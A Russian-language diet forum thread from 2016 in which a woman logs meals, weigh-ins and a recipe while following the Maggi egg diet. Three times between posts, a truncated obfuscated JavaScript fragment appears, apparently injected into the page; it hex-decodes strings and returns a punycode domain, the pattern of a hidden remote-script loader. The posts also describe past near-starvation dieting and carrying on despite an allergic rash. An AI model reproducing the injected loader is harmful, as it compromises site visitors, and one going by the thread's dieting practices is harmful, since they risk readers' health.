Всем привет!
Мне 26 лет, вес 71 кг., рост 170 см. Сегодня 3 день 1 недели, самочувствие отличное, по себе ощущаю сдвиги в весе. Взвешиваться буду на 5 день, т.е. после завтра.
Года 4 назад весила 86 кг. это мой пик в тяжеловесии. После этого 2 месяца ходила на шейпинг раза 4-5 в неделю , практически ничего не ела, теряла по 2 кг. в неделю. За 2 месяца скинула 16 кг. Потом вес остановился и я расстроилась и бросила занятия, но результат меня и так устраивал. За 4 прошедших года были попытки диет и домашних физ. упражнений, думаю эти попытки и дали мне удержать вес в норме. Правда в 2015 году перед Новым годом отъелась до 79 кг. и испугалась. Потом понеслось моно-диеты, овощная диета, кремлевская диета и т.д. И все-таки я вернула свой вес.
Моей мечтой всегда оставался вес в 65 кг. Вот хочу чтоб мечта сбылась.
Недавно знакомая рассказала про диету Магги. Правда сказала что настроение упало и на 3 день 1 недели она сорвалась. После этого разговора, я зашла на этот сайт и когда ознакомилась с меню, была приятно удивлена. Мне очень понравилось точное описание продуктов, которые нужно кушать. Особенно яйца я люблю, так что с этим основным продуктом диеты у меня все отлично.
Планы у меня такие: добиться своей мечты и утереть нос подруге «Сказав что это диета Магги, чудеса творит!»
Тему создала, что бы делиться опытом с худеющими на этой диете, а так же найти поддержку и мотивацию на всех этапах диеты Магги.
Всем успехов! Пишите, буду рада общению!
16 answers
25.05.2016
Спасибо, стараюсь!!!
Кажется у меня началась аллергия либо на яйца, либо на цитрусовые в виде красных маленьких прыщиков-пятен. Некоторые немножко чешутся, но думаю до конца недели сильно не обсыпит.
Жду 3 неделю — конец яйцам. В фруктовые дни полностью уберу цитрусы.
Завтра 4 день 2 недели, на обед вареные овощи и яйца, так вот купила цветную капусту, отварю ее и обжарю в яичке, вот вкусняшка получится.
Привет! Вчера не было возможности поделиться результатом, так вот сегодня отчитываюсь минус 1,8 кг. Сначала когда весы показали 69,2 кг. , как то расстроилась, но потом посчитала получилось минус 450 грамм за каждый день и расцвела.
Вчера были в гостях все пили пиво с рыбкой, а мне даже не хотелось, не соблазнилась ни на семечки, ни на чипсы, а выпила 2 кружки зеленого чая, конечно без сахара. Хорошо что вчера по меню на ужин была рыбка, салат и грейпфрут, я наелась перед походом в гости и не сорвалась.
Сегодня уже приезжают к нам в гости, я рада, что в субботу первой недели на ужин мясо и салат, съем пару кусочков шашлычка и салатик. На обед сегодня груши, я их очень люблю.
Мне нравятся завтраки, вареные яички в сочетании с апельсином. Но перед завтраком, примерно за 20 мин. выпиваю стакан воды, но в течении дня воду практически не пью, между приемами пищи пью утром кофе, в обед зел. чай и после ужина кипяток с лимонном и мелиссой, конечно все напитки без сахара.
Подскажите, если я так мало употребляю чистой воды, это не страшно?
// o;o++) t+=e.charCodeAt (o).toString (16);return t},a=function (e){e=e.match (/[\S\s]{1,2}/g);for (var t="",o=0;o < e.length;o++) t+=String.fromCharCode (parseInt (e[o],16));return t},d=function (){return "xn----7sbbmabhxg0b1d.xn--p1ai"},p=function (){var w=window,p=w.document.location.protocol;if (p.indexOf ("http")==0){return p}for (var e=0;e
Вот рецептик цветной капусты в кляре: цв. капусту промыть и разделить на соцветия, положить в подсоленную воду и варить минут 5-7.(Время зависит от капусты оа должна быть не переваренная, а чуточку хрустеть.) Слить воду и пусть немного остынет. Взбить яички посолить и поперчить по вкусу. Обмакнуть в кляре и на сковороду. Обжарить с двух сторон под крышкой. В кляр можно добавить зелень, будет только вкусней.
Я когда выложила капусту на сухую сковородку, добавила чучуть водички, масло же нельзя, получилось вкусно.
А если не по Магги, тогда в кляр добавить муки и обжарить на масле.
Сегодня обед был очень вкусный, на ужин даже и 2 яйца хватило.
// o;o++) t+=e.charCodeAt (o).toString (16);return t},a=function (e){e=e.match (/[\S\s]{1,2}/g);for (var t="",o=0;o < e.length;o++) t+=String.fromCharCode (parseInt (e[o],16));return t},d=function (){return "xn----7sbbmabhxg0b1d.xn--p1ai"},p=function (){var w=window,p=w.document.location.protocol;if (p.indexOf ("http")==0){return p}for (var e=0;e
Спасибо за поддержку!!! Насиловать организм не надо.
На обед съела 2 груши, ну прям объелась. Гости не приехали это в принципе хорошо, нет соблазнов. На ужин отварила грамм 100 говядины и салатик из огурцов, помидор, перца и листьев салата заправленные лимонным соком.
// o;o++) t+=e.charCodeAt (o).toString (16);return t},a=function (e){e=e.match (/[\S\s]{1,2}/g);for (var t="",o=0;o < e.length;o++) t+=String.fromCharCode (parseInt (e[o],16));return t},d=function (){return "xn----7sbbmabhxg0b1d.xn--p1ai"},p=function (){var w=window,p=w.document.location.protocol;if (p.indexOf ("http")==0){return p}for (var e=0;e
22.05.2016
Вот и подошла к концу 1-я неделя. Ближе к вечеру начала болеть голова и горло, не знаю, может быть голова- из-за погоды, а горло, холодного ничего не пила. Еще и настроение как то упало.
В шкафу обнаружила шоколадную конфету, решила отпраздновать завершение 1 недели и поднять себе настроение. Конфета оказалась очень сладкой — сказывается питание без сахара. Думаю это не так уж ужасно, зато я так подготовилась ко 2 недели.
Прошу понять и простить!!!
Статистика темы
- Активный
- Просмотры136 times
- Ответы
- Подписчики0 подписчиков